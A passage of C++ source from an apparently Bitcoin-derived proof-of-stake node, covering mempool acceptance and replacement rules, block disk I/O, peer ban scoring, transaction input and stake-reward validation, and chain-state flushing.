viewMemPool(pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip.get(), pool);\n        view.SetBackend(viewMemPool);\n\n        // do we already have it?\n        bool fHadTxInCache = pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->HaveCoinsInCache(hash);\n        if (view.HaveCoins(hash)) {\n            if (!fHadTxInCache)\n                vHashTxnToUncache.push_back(hash);\n            return state.Invalid(false, REJECT_ALREADY_KNOWN, \"txn-already-known\");\n        }\n\n        // do all inputs exist?\n        // Note that this does not check for the presence of actual outputs (see the next check for that),\n        // and only helps with filling in pfMissingInputs (to determine missing vs spent).\n        for (auto const txin: tx.vin) {\n            if (!pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->HaveCoinsInCache(txin.prevout.hash))\n                vHashTxnToUncache.push_back(txin.prevout.hash);\n            if (!view.HaveCoins(txin.prevout.hash)) {\n                if (pfMissingInputs)\n                    *pfMissingInputs = true;\n                return false; // fMissingInputs and !state.IsInvalid() is used to detect this condition, don't set state.Invalid()\n            }\n        }\n\n        // are the actual inputs available?\n        if (!view.HaveInputs(tx))\n            return state.Invalid(false, REJECT_DUPLICATE, \"bad-txns-inputs-spent\");\n\n        // Bring the best block into scope\n        view.GetBestBlock();\n\n        nValueIn = view.GetValueIn(tx);\n\n        // we have all inputs cached now, so switch back to dummy, so we don't need to keep lock on mempool\n        view.SetBackend(dummy);\n\n        // Only accept BIP68 sequence locked transactions that can be mined in the next\n        // block; we don't want our mempool filled up with transactions that can't\n        // be mined yet.\n        // Must keep pool.cs for this unless we change CheckSequenceLocks to take a\n        // CoinsViewCache instead of create its own\n        if (!CheckSequenceLocks(tx, STANDARD_LOCKTIME_VERIFY_FLAGS, &lp))\n            return state.DoS(0, false, REJECT_NONSTANDARD, \"non-BIP68-final\");\n        }\n\n        // Check for non-standard pay-to-script-hash in inputs\n        if (fRequireStandard && !AreInputsStandard(tx, view))\n            return state.Invalid(false, REJECT_NONSTANDARD, \"bad-txns-nonstandard-inputs\");\n\n        unsigned int nSigOps = GetLegacySigOpCount(tx);\n        nSigOps += GetP2SHSigOpCount(tx, view);\n\n        CAmount nValueOut = tx.GetValueOut();\n        CAmount nFees = nValueIn-nValueOut;\n        // nModifiedFees includes any fee deltas from PrioritiseTransaction\n        CAmount nModifiedFees = nFees;\n        double nPriorityDummy = 0;\n        pool.ApplyDeltas(hash, nPriorityDummy, nModifiedFees);\n\n        CAmount inChainInputValue;\n        double dPriority = view.GetPriority(tx, pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Height(), inChainInputValue);\n\n        // Keep track of transactions that spend a coinbase, which we re-scan\n        // during reorgs to ensure COINBASE_MATURITY is still met.\n        bool fSpendsCoinbase = false;\n        for (auto const& txin: tx.vin) {\n            const CCoins *coins = view.AccessCoins(txin.prevout.hash);\n            if (coins->IsCoinBase()) {\n                fSpendsCoinbase = true;\n                break;\n            }\n        }\n\n        CTxMemPoolEntry entry(tx, nFees, GetTime(), dPriority, pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Height(), pool.HasNoInputsOf(tx), inChainInputValue, fSpendsCoinbase, nSigOps, lp);\n        unsigned int nSize = entry.GetTxSize();\n\n        // Check that the transaction doesn't have an excessive number of\n        // sigops, making it impossible to mine. Since the coinbase transaction\n        // itself can contain sigops MAX_STANDARD_TX_SIGOPS is less than\n        // MAX_BLOCK_SIGOPS; we still consider this an invalid rather than\n        // merely non-standard transaction.\n        if ((nSigOps > MAX_STANDARD_TX_SIGOPS) || (nBytesPerSigOp && nSigOps > nSize / nBytesPerSigOp))\n            return state.DoS(0, false, REJECT_NONSTANDARD, \"bad-txns-too-many-sigops\", false,\n                strprintf(\"%d\", nSigOps));\n\n        CAmount mempoolRejectFee = pool.GetMinFee(gArgs.GetArg(\"-maxmempool\", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000).GetFee(nSize);\n        if (mempoolRejectFee > 0 && nModifiedFees < mempoolRejectFee) {\n            return state.DoS(0, false, REJECT_INSUFFICIENTFEE, \"mempool min fee not met\", false, strprintf(\"%d < %d\", nFees, mempoolRejectFee));\n        } else if (gArgs.GetBoolArg(\"-relaypriority\", DEFAULT_RELAYPRIORITY) && nModifiedFees < ::minRelayTxFee.GetFee(nSize) && !AllowFree(entry.GetPriority(pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Height() + 1))) {\n            // Require that free transactions have sufficient priority to be mined in the next block.\n            return state.DoS(0, false, REJECT_INSUFFICIENTFEE, \"insufficient priority\");\n        }\n\n        // Continuously rate-limit free (really, very-low-fee) transactions\n        // This mitigates 'penny-flooding' -- sending thousands of free transactions just to\n        // be annoying or make others' transactions take longer to confirm.\n        if (fLimitFree && nModifiedFees < ::minRelayTxFee.GetFee(nSize))\n        {\n            static CCriticalSection csFreeLimiter;\n            static double dFreeCount;\n            static int64_t nLastTime;\n            int64_t nNow = GetTime();\n\n            LOCK(csFreeLimiter);\n\n            // Use an exponentially decaying ~10-minute window:\n            dFreeCount *= pow(1.0 - 1.0/600.0, (double)(nNow - nLastTime));\n            nLastTime = nNow;\n            // -limitfreerelay unit is thousand-bytes-per-minute\n            // At default rate it would take over a month to fill 1GB\n            if (dFreeCount >= gArgs.GetArg(\"-limitfreerelay\", DEFAULT_LIMITFREERELAY) * 10 * 1000)\n                return state.DoS(0, false, REJECT_INSUFFICIENTFEE, \"rate limited free transaction\");\n            LogPrint(\"mempool\", \"Rate limit dFreeCount: %g => %g\\n\", dFreeCount, dFreeCount+nSize);\n            dFreeCount += nSize;\n        }\n\n        if (fRejectAbsurdFee && nFees > ::minRelayTxFee.GetFee(nSize) * 10000)\n            return state.Invalid(false,\n                REJECT_HIGHFEE, \"absurdly-high-fee\",\n                strprintf(\"%d > %d\", nFees, ::minRelayTxFee.GetFee(nSize) * 10000));\n\n        // Calculate in-mempool ancestors, up to a limit.\n        CTxMemPool::setEntries setAncestors;\n        size_t nLimitAncestors = gArgs.GetArg(\"-limitancestorcount\", DEFAULT_ANCESTOR_LIMIT);\n        size_t nLimitAncestorSize = gArgs.GetArg(\"-limitancestorsize\", DEFAULT_ANCESTOR_SIZE_LIMIT)*1000;\n        size_t nLimitDescendants = gArgs.GetArg(\"-limitdescendantcount\", DEFAULT_DESCENDANT_LIMIT);\n        size_t nLimitDescendantSize = gArgs.GetArg(\"-limitdescendantsize\", DEFAULT_DESCENDANT_SIZE_LIMIT)*1000;\n        std::string errString;\n        if (!pool.CalculateMemPoolAncestors(entry, setAncestors, nLimitAncestors, nLimitAncestorSize, nLimitDescendants, nLimitDescendantSize, errString)) {\n            return state.DoS(0, false, REJECT_NONSTANDARD, \"too-long-mempool-chain\", false, errString);\n        }\n\n        // A transaction that spends outputs that would be replaced by it is invalid. Now\n        // that we have the set of all ancestors we can detect this\n        // pathological case by making sure setConflicts and setAncestors don't\n        // intersect.\n        for (auto ancestorIt: setAncestors)\n        {\n            const uint256 &hashAncestor = ancestorIt->GetTx().GetHash();\n            if (setConflicts.count(hashAncestor))\n            {\n                return state.DoS(10, error(\"AcceptToMemoryPool: %s spends conflicting transaction %s\",\n                                           hash.ToString(),\n                                           hashAncestor.ToString()),\n                                 REJECT_INVALID, \"bad-txns-spends-conflicting-tx\");\n            }\n        }\n\n        // Check if it's economically rational to mine this transaction rather\n        // than the ones it replaces.\n        CAmount nConflictingFees = 0;\n        size_t nConflictingSize = 0;\n        uint64_t nConflictingCount = 0;\n        CTxMemPool::setEntries allConflicting;\n\n        // If we don't hold the lock allConflicting might be incomplete; the\n        // subsequent RemoveStaged() and addUnchecked() calls don't guarantee\n        // mempool consistency for us.\n        LOCK(pool.cs);\n        if (setConflicts.size())\n        {\n            CFeeRate newFeeRate(nModifiedFees, nSize);\n            std::set<uint256> setConflictsParents;\n            const int maxDescendantsToVisit = 100;\n            CTxMemPool::setEntries setIterConflicting;\n            for (auto const& hashConflicting: setConflicts)\n            {\n                CTxMemPool::txiter mi = pool.mapTx.find(hashConflicting);\n                if (mi == pool.mapTx.end())\n                    continue;\n\n                // Save these to avoid repeated lookups\n                setIterConflicting.insert(mi);\n\n                // If this entry is \"dirty\", then we don't have descendant\n                // state for this transaction, which means we probably have\n                // lots of in-mempool descendants.\n                // Don't allow replacements of dirty transactions, to ensure\n                // that we don't spend too much time walking descendants.\n                // This should be rare.\n                if (mi->IsDirty()) {\n                    return state.DoS(0,\n                            error(\"AcceptToMemoryPool: rejecting replacement %s; cannot replace tx %s with untracked descendants\",\n                                hash.ToString(),\n                                mi->GetTx().GetHash().ToString()),\n                            REJECT_NONSTANDARD, \"too many potential replacements\");\n                }\n\n                // Don't allow the replacement to reduce the feerate of the\n                // mempool.\n                //\n                // We usually don't want to accept replacements with lower\n                // feerates than what they replaced as that would lower the\n                // feerate of the next block. Requiring that the feerate always\n                // be increased is also an easy-to-reason about way to prevent\n                // DoS attacks via replacements.\n                //\n                // The mining code doesn't (currently) take children into\n                // account (CPFP) so we only consider the feerates of\n                // transactions being directly replaced, not their indirect\n                // descendants. While that does mean high feerate children are\n                // ignored when deciding whether or not to replace, we do\n                // require the replacement to pay more overall fees too,\n                // mitigating most cases.\n                CFeeRate oldFeeRate(mi->GetModifiedFee(), mi->GetTxSize());\n                if (newFeeRate <= oldFeeRate)\n                {\n                    return state.DoS(0,\n                            error(\"AcceptToMemoryPool: rejecting replacement %s; new feerate %s <= old feerate %s\",\n                                  hash.ToString(),\n                                  newFeeRate.ToString(),\n                                  oldFeeRate.ToString()),\n                            REJECT_INSUFFICIENTFEE, \"insufficient fee\");\n                }\n\n                for (auto const& txin: mi->GetTx().vin)\n                {\n                    setConflictsParents.insert(txin.prevout.hash);\n                }\n\n                nConflictingCount += mi->GetCountWithDescendants();\n            }\n            // This potentially overestimates the number of actual descendants\n            // but we just want to be conservative to avoid doing too much\n            // work.\n            if (nConflictingCount <= maxDescendantsToVisit) {\n                // If not too many to replace, then calculate the set of\n                // transactions that would have to be evicted\n                for (auto it: setIterConflicting) {\n                    pool.CalculateDescendants(it, allConflicting);\n                }\n                for (auto it: allConflicting) {\n                    nConflictingFees += it->GetModifiedFee();\n                    nConflictingSize += it->GetTxSize();\n                }\n            } else {\n                return state.DoS(0,\n                        error(\"AcceptToMemoryPool: rejecting replacement %s; too many potential replacements (%d > %d)\\n\",\n                            hash.ToString(),\n                            nConflictingCount,\n                            maxDescendantsToVisit),\n                        REJECT_NONSTANDARD, \"too many potential replacements\");\n            }\n\n            for (unsigned int j = 0; j < tx.vin.size(); j++)\n            {\n                // We don't want to accept replacements that require low\n                // feerate junk to be mined first. Ideally we'd keep track of\n                // the ancestor feerates and make the decision based on that,\n                // but for now requiring all new inputs to be confirmed works.\n                if (!setConflictsParents.count(tx.vin[j].prevout.hash))\n                {\n                    // Rather than check the UTXO set - potentially expensive -\n                    // it's cheaper to just check if the new input refers to a\n                    // tx that's in the mempool.\n                    if (pool.mapTx.find(tx.vin[j].prevout.hash) != pool.mapTx.end())\n                        return state.DoS(0, error(\"AcceptToMemoryPool: replacement %s adds unconfirmed input, idx %d\",\n                                                  hash.ToString(), j),\n                                         REJECT_NONSTANDARD, \"replacement-adds-unconfirmed\");\n                }\n            }\n\n            // The replacement must pay greater fees than the transactions it\n            // replaces - if we did the bandwidth used by those conflicting\n            // transactions would not be paid for.\n            if (nModifiedFees < nConflictingFees)\n            {\n                return state.DoS(0, error(\"AcceptToMemoryPool: rejecting replacement %s, less fees than conflicting txs; %s < %s\",\n                                          hash.ToString(), FormatMoney(nModifiedFees), FormatMoney(nConflictingFees)),\n                                 REJECT_INSUFFICIENTFEE, \"insufficient fee\");\n            }\n\n            // Finally in addition to paying more fees than the conflicts the\n            // new transaction must pay for its own bandwidth.\n            CAmount nDeltaFees = nModifiedFees - nConflictingFees;\n            if (nDeltaFees < ::minRelayTxFee.GetFee(nSize))\n            {\n                return state.DoS(0,\n                        error(\"AcceptToMemoryPool: rejecting replacement %s, not enough additional fees to relay; %s < %s\",\n                              hash.ToString(),\n                              FormatMoney(nDeltaFees),\n                              FormatMoney(::minRelayTxFee.GetFee(nSize))),\n                        REJECT_INSUFFICIENTFEE, \"insufficient fee\");\n            }\n        }\n\n        // Check against previous transactions\n        // This is done last to help prevent CPU exhaustion denial-of-service attacks.\n        if (!CheckInputs(tx, state, view, true, STANDARD_SCRIPT_VERIFY_FLAGS, true))\n            return false;\n\n        // Check again against just the consensus-critical mandatory script\n        // verification flags, in case of bugs in the standard flags that cause\n        // transactions to pass as valid when they're actually invalid. For\n        // instance the STRICTENC flag was incorrectly allowing certain\n        // CHECKSIG NOT scripts to pass, even though they were invalid.\n        //\n        // There is a similar check in CreateNewBlock() to prevent creating\n        // invalid blocks, however allowing such transactions into the mempool\n        // can be exploited as a DoS attack.\n        if (!CheckInputs(tx, state, view, true, MANDATORY_SCRIPT_VERIFY_FLAGS, true))\n        {\n            return error(\"%s: BUG! PLEASE REPORT THIS! ConnectInputs failed against MANDATORY but not STANDARD flags %s, %s\",\n                __func__, hash.ToString(), FormatStateMessage(state));\n        }\n\n        // Remove conflicting transactions from the mempool\n        for (auto const it: allConflicting)\n        {\n            LogPrint(\"mempool\", \"replacing tx %s with %s for %s BTC additional fees, %d delta bytes\\n\",\n                    it->GetTx().GetHash().ToString(),\n                    hash.ToString(),\n                    FormatMoney(nModifiedFees - nConflictingFees),\n                    (int)nSize - (int)nConflictingSize);\n        }\n        pool.RemoveStaged(allConflicting);\n\n        // Store transaction in memory\n        pool.addUnchecked(hash, entry, setAncestors, !pnetMan->getActivePaymentNetwork()->getChainManager()->IsInitialBlockDownload());\n\n        // trim mempool and check if tx was trimmed\n        if (!fOverrideMempoolLimit) {\n            LimitMempoolSize(pool, gArgs.GetArg(\"-maxmempool\", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000, gArgs.GetArg(\"-mempoolexpiry\", DEFAULT_MEMPOOL_EXPIRY) * 60 * 60);\n            if (!pool.exists(hash))\n                return state.DoS(0, false, REJECT_INSUFFICIENTFEE, \"mempool full\");\n        }\n    }\n\n    SyncWithWallets(tx, NULL);\n\n    return true;\n}\n\nbool AcceptToMemoryPool(CTxMemPool& pool, CValidationState &state, const CTransaction &tx, bool fLimitFree,\n                        bool* pfMissingInputs, bool fOverrideMempoolLimit, bool fRejectAbsurdFee)\n{\n    std::vector<uint256> vHashTxToUncache;\n    bool res = AcceptToMemoryPoolWorker(pool, state, tx, fLimitFree, pfMissingInputs, fOverrideMempoolLimit, fRejectAbsurdFee, vHashTxToUncache);\n    if (!res) {\n        for (auto const& hashTx: vHashTxToUncache)\n            pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->Uncache(hashTx);\n    }\n    return res;\n}\n\n\n//////////////////////////////////////////////////////////////////////////////\n//\n// CBlock and CBlockIndex\n//\n\nbool WriteBlockToDisk(const CBlock& block, CDiskBlockPos& pos, const CMessageHeader::MessageStartChars& messageStart)\n{\n    // Open history file to append\n    CAutoFile fileout(OpenBlockFile(pos), SER_DISK, CLIENT_VERSION);\n    if (fileout.IsNull())\n        return error(\"WriteBlockToDisk: OpenBlockFile failed\");\n\n    // Write index header\n    unsigned int nSize = GetSerializeSize(fileout,block);\n    fileout << FLATDATA(messageStart) << nSize;\n\n    // Write block\n    long fileOutPos = ftell(fileout.Get());\n    if (fileOutPos < 0)\n        return error(\"WriteBlockToDisk: ftell failed\");\n    pos.nPos = (unsigned int)fileOutPos;\n    fileout << block;\n\n    return true;\n}\n\nbool ReadBlockFromDisk(CBlock& block, const CDiskBlockPos& pos, const Consensus::Params& consensusParams)\n{\n    block.SetNull();\n\n    // Open history file to read\n    CAutoFile filein(OpenBlockFile(pos, true), SER_DISK, CLIENT_VERSION);\n    if (filein.IsNull())\n        return error(\"ReadBlockFromDisk: OpenBlockFile failed for %s\", pos.ToString());\n\n    // Read block\n    try {\n        filein >> block;\n    }\n    catch (const std::exception& e) {\n        return error(\"%s: Deserialize or I/O error - %s at %s\", __func__, e.what(), pos.ToString());\n    }\n\n    // Check the header\n    if(block.IsProofOfWork())\n    {\n        if (!CheckProofOfWork(block.GetHash(), block.nBits, consensusParams))\n            return error(\"ReadBlockFromDisk: Errors in block header at %s\", pos.ToString());\n    }\n    return true;\n}\n\nbool ReadBlockFromDisk(CBlock& block, const CBlockIndex* pindex, const Consensus::Params& consensusParams)\n{\n    if (!ReadBlockFromDisk(block, pindex->GetBlockPos(), consensusParams))\n        return false;\n    if (block.GetHash() != pindex->GetBlockHash())\n        return error(\"ReadBlockFromDisk(CBlock&, CBlockIndex*): GetHash() doesn't match index for %s at %s\",\n                pindex->ToString(), pindex->GetBlockPos().ToString());\n    return true;\n}\n\n// Requires cs_main.\nvoid Misbehaving(NodeId pnode, int howmuch)\n{\n    if (howmuch == 0)\n        return;\n\n    CNodeState *state = State(pnode);\n    if (state == NULL)\n        return;\n\n    state->nMisbehavior += howmuch;\n    int banscore = gArgs.GetArg(\"-banscore\", DEFAULT_BANSCORE_THRESHOLD);\n    if (state->nMisbehavior >= banscore && state->nMisbehavior - howmuch < banscore)\n    {\n        LogPrintf(\"%s: %s (%d -> %d) BAN THRESHOLD EXCEEDED\\n\", __func__, state->name, state->nMisbehavior-howmuch, state->nMisbehavior);\n        state->fShouldBan = true;\n    } else\n        LogPrintf(\"%s: %s (%d -> %d)\\n\", __func__, state->name, state->nMisbehavior-howmuch, state->nMisbehavior);\n}\n\nvoid UpdateCoins(const CTransaction& tx, CValidationState &state, CCoinsViewCache &inputs, CTxUndo &txundo, int nHeight)\n{\n    // mark inputs spent\n    if (!tx.IsCoinBase()) {\n        txundo.vprevout.reserve(tx.vin.size());\n        for (auto const& txin: tx.vin) {\n            CCoinsModifier coins = inputs.ModifyCoins(txin.prevout.hash);\n            unsigned nPos = txin.prevout.n;\n\n            if (nPos >= coins->vout.size() || coins->vout[nPos].IsNull())\n                assert(false);\n            // mark an outpoint spent, and construct undo information\n            txundo.vprevout.push_back(CTxInUndo(coins->vout[nPos]));\n            coins->Spend(nPos);\n            if (coins->vout.size() == 0) {\n                CTxInUndo& undo = txundo.vprevout.back();\n                undo.nHeight = coins->nHeight;\n                undo.fCoinBase = coins->fCoinBase;\n                undo.nVersion = coins->nVersion;\n            }\n        }\n        // add outputs\n        inputs.ModifyNewCoins(tx.GetHash())->FromTx(tx, nHeight);\n    }\n    else {\n        // add outputs for coinbase tx\n        // In this case call the full ModifyCoins which will do a database\n        // lookup to be sure the coins do not already exist otherwise we do not\n        // know whether to mark them fresh or not.  We want the duplicate coinbases\n        // before BIP30 to still be properly overwritten.\n        inputs.ModifyCoins(tx.GetHash())->FromTx(tx, nHeight);\n    }\n}\n\nvoid UpdateCoins(const CTransaction& tx, CValidationState &state, CCoinsViewCache &inputs, int nHeight)\n{\n    CTxUndo txundo;\n    UpdateCoins(tx, state, inputs, txundo, nHeight);\n}\n\nbool CScriptCheck::operator()() {\n    const CScript &scriptSig = ptxTo->vin[nIn].scriptSig;\n    if (!VerifyScript(scriptSig, scriptPubKey, nFlags, CachingTransactionSignatureChecker(ptxTo, nIn, cacheStore), &error)) {\n        return false;\n    }\n    return true;\n}\n\nint GetSpendHeight(const CCoinsViewCache& inputs)\n{\n    LOCK(cs_main);\n    CBlockIndex* pindexPrev = pnetMan->getActivePaymentNetwork()->getChainManager()->mapBlockIndex.find(inputs.GetBestBlock())->second;\n    return pindexPrev->nHeight + 1;\n}\n\nnamespace Consensus {\nbool CheckTxInputs(const CTransaction& tx, CValidationState& state, const CCoinsViewCache& inputs, int nSpendHeight)\n{\n        // This doesn't trigger the DoS code on purpose; if it did, it would make it easier\n        // for an attacker to attempt to split the network.\n        if (!inputs.HaveInputs(tx))\n            return state.Invalid(false, 0, \"\", \"Inputs unavailable\");\n\n        CAmount nValueIn = 0;\n        CAmount nFees = 0;\n        for (unsigned int i = 0; i < tx.vin.size(); i++)\n        {\n            const COutPoint &prevout = tx.vin[i].prevout;\n            const CCoins *coins = inputs.AccessCoins(prevout.hash);\n            assert(coins);\n\n            // If prev is coinbase, check that it's matured\n            if (coins->IsCoinBase()) {\n                if (nSpendHeight - coins->nHeight < COINBASE_MATURITY)\n                    return state.Invalid(false,\n                        REJECT_INVALID, \"bad-txns-premature-spend-of-coinbase\",\n                        strprintf(\"tried to spend coinbase at depth %d\", nSpendHeight - coins->nHeight));\n            }\n\n            // Check for negative or overflow input values\n            nValueIn += coins->vout[prevout.n].nValue;\n            if (!MoneyRange(coins->vout[prevout.n].nValue) || !MoneyRange(nValueIn))\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-inputvalues-outofrange\");\n\n        }\n\n        if(!tx.IsCoinStake())\n        {\n            if (nValueIn < tx.GetValueOut())\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-in-belowout\", false,\n                    strprintf(\"value in (%s) < value out (%s)\", FormatMoney(nValueIn), FormatMoney(tx.GetValueOut())));\n            // Tally transaction fees\n            CAmount nTxFee = nValueIn - tx.GetValueOut();\n            if (nTxFee < 0)\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-fee-negative\");\n            nFees += nTxFee;\n            if (!MoneyRange(nFees))\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-fee-outofrange\");\n        }\n        else\n        {\n            // ppcoin: coin stake tx earns reward instead of paying fee\n            uint64_t nCoinAge;\n            if (!tx.GetCoinAge(nCoinAge))\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-cant-get-coin-age\", false , strprintf(\"ConnectInputs() : %s unable to get coin age for coinstake\", tx.GetHash().ToString().substr(0,10).c_str()));\n\n            int64_t nStakeReward = tx.GetValueOut() - nValueIn;\n            if (nStakeReward > GetProofOfStakeReward(tx.GetCoinAge(nCoinAge, true), nSpendHeight) - tx.GetMinFee() + DEFAULT_TRANSACTION_MINFEE)\n            {\n                if(fDebug)\n                {\n                    LogPrintf(\"nStakeReward = %d , CoinAge = %d \\n\", nStakeReward, nCoinAge);\n                }\n                return state.DoS(100, false, REJECT_INVALID, \"bad-txns-stake-reward-too-high\", false, strprintf(\"ConnectInputs() : %s stake reward exceeded\", tx.GetHash().ToString().substr(0,10).c_str()));\n            }\n        }\n    return true;\n}\n}// namespace Consensus\n\nbool CheckInputs(const CTransaction& tx, CValidationState &state, const CCoinsViewCache &inputs, bool fScriptChecks, unsigned int flags, bool cacheStore, std::vector<CScriptCheck> *pvChecks)\n{\n    if (!tx.IsCoinBase())\n    {\n        if (!Consensus::CheckTxInputs(tx, state, inputs, GetSpendHeight(inputs)))\n            return false;\n\n        if (pvChecks)\n            pvChecks->reserve(tx.vin.size());\n\n        // The first loop above does all the inexpensive checks.\n        // Only if ALL inputs pass do we perform expensive ECDSA signature checks.\n        // Helps prevent CPU exhaustion attacks.\n\n        // Skip ECDSA signature verification when connecting blocks\n        // before the last block chain checkpoint. This is safe because block merkle hashes are\n        // still computed and checked, and any change will be caught at the next checkpoint.\n        if (fScriptChecks) {\n            for (unsigned int i = 0; i < tx.vin.size(); i++) {\n                const COutPoint &prevout = tx.vin[i].prevout;\n                const CCoins* coins = inputs.AccessCoins(prevout.hash);\n                assert(coins);\n\n                // Verify signature\n                CScriptCheck check(*coins, tx, i, flags, cacheStore);\n                if (pvChecks) {\n                    pvChecks->push_back(CScriptCheck());\n                    check.swap(pvChecks->back());\n                } else if (!check()) {\n                    if (flags & STANDARD_NOT_MANDATORY_VERIFY_FLAGS) {\n                        // Check whether the failure was caused by a\n                        // non-mandatory script verification check, such as\n                        // non-standard DER encodings or non-null dummy\n                        // arguments; if so, don't trigger DoS protection to\n                        // avoid splitting the network between upgraded and\n                        // non-upgraded nodes.\n                        CScriptCheck check2(*coins, tx, i,\n                                flags & ~STANDARD_NOT_MANDATORY_VERIFY_FLAGS, cacheStore);\n                        if (check2())\n                            return state.Invalid(false, REJECT_NONSTANDARD, strprintf(\"non-mandatory-script-verify-flag (%s)\", ScriptErrorString(check.GetScriptError())));\n                    }\n                    // Failures of other flags indicate a transaction that is\n                    // invalid in new blocks, e.g. a invalid P2SH. We DoS ban\n                    // such nodes as they are not following the protocol. That\n                    // said during an upgrade careful thought should be taken\n                    // as to the correct behavior - we may want to continue\n                    // peering with non-upgraded nodes even after a soft-fork\n                    // super-majority vote has passed.\n                    return state.DoS(100,false, REJECT_INVALID, strprintf(\"mandatory-script-verify-flag-failed (%s)\", ScriptErrorString(check.GetScriptError())));\n                }\n            }\n        }\n    }\n\n    return true;\n}\n\n/** Abort with a message */\nbool AbortNode(const std::string& strMessage, const std::string& userMessage)\n{\n    strMiscWarning = strMessage;\n    LogPrintf(\"*** %s\\n\", strMessage);\n    uiInterface.ThreadSafeMessageBox(\n        userMessage.empty() ? _(\"Error: A fatal internal error occurred, see debug.log for details\") : userMessage,\n        \"\", CClientUIInterface::MSG_ERROR);\n    StartShutdown();\n    return false;\n}\n\nbool AbortNode(CValidationState& state, const std::string& strMessage, const std::string& userMessage)\n{\n    AbortNode(strMessage, userMessage);\n    return state.Error(strMessage);\n}\n\nvoid static FlushBlockFile(bool fFinalize = false)\n{\n    LOCK(cs_LastBlockFile);\n\n    CDiskBlockPos posOld(nLastBlockFile, 0);\n\n    FILE *fileOld = OpenBlockFile(posOld);\n    if (fileOld) {\n        if (fFinalize)\n            TruncateFile(fileOld, vinfoBlockFile[nLastBlockFile].nSize);\n        FileCommit(fileOld);\n        fclose(fileOld);\n    }\n\n    fileOld = OpenUndoFile(posOld);\n    if (fileOld) {\n        if (fFinalize)\n            TruncateFile(fileOld, vinfoBlockFile[nLastBlockFile].nUndoSize);\n        FileCommit(fileOld);\n        fclose(fileOld);\n    }\n}\n\n//\n// Called periodically asynchronously; alerts if it smells like\n// we're being fed a bad chain (blocks being generated much\n// too slowly or too quickly).\n//\nvoid PartitionCheck(bool (*initialDownloadCheck)(), CCriticalSection& cs, const CBlockIndex *const &bestHeader,\n                    int64_t nTargetSpacing)\n{\n    if (bestHeader == NULL || initialDownloadCheck()) return;\n\n    static int64_t lastAlertTime = 0;\n    int64_t now = GetAdjustedTime();\n    if (lastAlertTime > now-60*60*24) return; // Alert at most once per day\n\n    const int SPAN_HOURS=4;\n    const int SPAN_SECONDS=SPAN_HOURS*60*60;\n    int BLOCKS_EXPECTED = SPAN_SECONDS / nTargetSpacing;\n\n    boost::math::poisson_distribution<double> poisson(BLOCKS_EXPECTED);\n\n    std::string strWarning;\n    int64_t startTime = GetAdjustedTime()-SPAN_SECONDS;\n\n    LOCK(cs);\n    const CBlockIndex* i = bestHeader;\n    int nBlocks = 0;\n    while (i->GetBlockTime() >= startTime) {\n        ++nBlocks;\n        i = i->pprev;\n        if (i == NULL) return; // Ran out of chain, we must not be fully sync'ed\n    }\n\n    // How likely is it to find that many by chance?\n    double p = boost::math::pdf(poisson, nBlocks);\n\n    LogPrint(\"partitioncheck\", \"%s: Found %d blocks in the last %d hours\\n\", __func__, nBlocks, SPAN_HOURS);\n    LogPrint(\"partitioncheck\", \"%s: likelihood: %g\\n\", __func__, p);\n\n    // Aim for one false-positive about every fifty years of normal running:\n    const int FIFTY_YEARS = 50*365*24*60*60;\n    double alertThreshold = 1.0 / (FIFTY_YEARS / SPAN_SECONDS);\n\n    if (p <= alertThreshold && nBlocks < BLOCKS_EXPECTED)\n    {\n        // Many fewer blocks than expected: alert!\n        strWarning = strprintf(_(\"WARNING: check your network connection, %d blocks received in the last %d hours (%d expected)\"),\n                               nBlocks, SPAN_HOURS, BLOCKS_EXPECTED);\n    }\n    else if (p <= alertThreshold && nBlocks > BLOCKS_EXPECTED)\n    {\n        // Many more blocks than expected: alert!\n        strWarning = strprintf(_(\"WARNING: abnormally high number of blocks generated, %d blocks received in the last %d hours (%d expected)\"),\n                               nBlocks, SPAN_HOURS, BLOCKS_EXPECTED);\n    }\n    if (!strWarning.empty())\n    {\n        strMiscWarning = strWarning;\n        lastAlertTime = now;\n    }\n}\n\n// Protected by cs_main\nVersionBitsCache versionbitscache;\n\nint32_t ComputeBlockVersion(const CBlockIndex* pindexPrev, const Consensus::Params& params)\n{\n    LOCK(cs_main);\n    int32_t nVersion = VERSIONBITS_TOP_BITS;\n\n    for (int i = 0; i < (int)Consensus::MAX_VERSION_BITS_DEPLOYMENTS; i++) {\n        ThresholdState state = VersionBitsState(pindexPrev, params, (Consensus::DeploymentPos)i, versionbitscache);\n        if (state == THRESHOLD_LOCKED_IN || state == THRESHOLD_STARTED) {\n            nVersion |= VersionBitsMask(params, (Consensus::DeploymentPos)i);\n        }\n    }\n\n    return nVersion;\n}\n\n// Protected by cs_main\nThresholdConditionCache warningcache[VERSIONBITS_NUM_BITS];\n\n/**\n * Update the on-disk chain state.\n * The caches and indexes are flushed depending on the mode we're called with\n * if they're too large, if it's been a while since the last write,\n * or always and in all cases if we're in prune mode and are deleting files.\n */\nbool FlushStateToDisk(CValidationState &state, FlushStateMode mode)\n{\n    LOCK2(cs_main, cs_LastBlockFile);\n    static int64_t nLastWrite = 0;\n    static int64_t nLastFlush = 0;\n    static int64_t nLastSetChain = 0;\n    try\n    {\n        int64_t nNow = GetTimeMicros();\n        // Avoid writing/flushing immediately after startup.\n        if (nLastWrite == 0) {\n            nLastWrite = nNow;\n        }\n        if (nLastFlush == 0) {\n            nLastFlush = nNow;\n        }\n        if (nLastSetChain == 0) {\n            nLastSetChain = nNow;\n        }\n        size_t cacheSize = pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->DynamicMemoryUsage();\n        // The cache is large and close to the limit, but we have time now (not in the middle of a block processing).\n        bool fCacheLarge = mode == FLUSH_STATE_PERIODIC && cacheSize * (10.0/9) > nCoinCacheUsage;\n        // The cache is over the limit, we have to write now.\n        bool fCacheCritical = mode == FLUSH_STATE_IF_NEEDED && cacheSize > nCoinCacheUsage;\n        // It's been 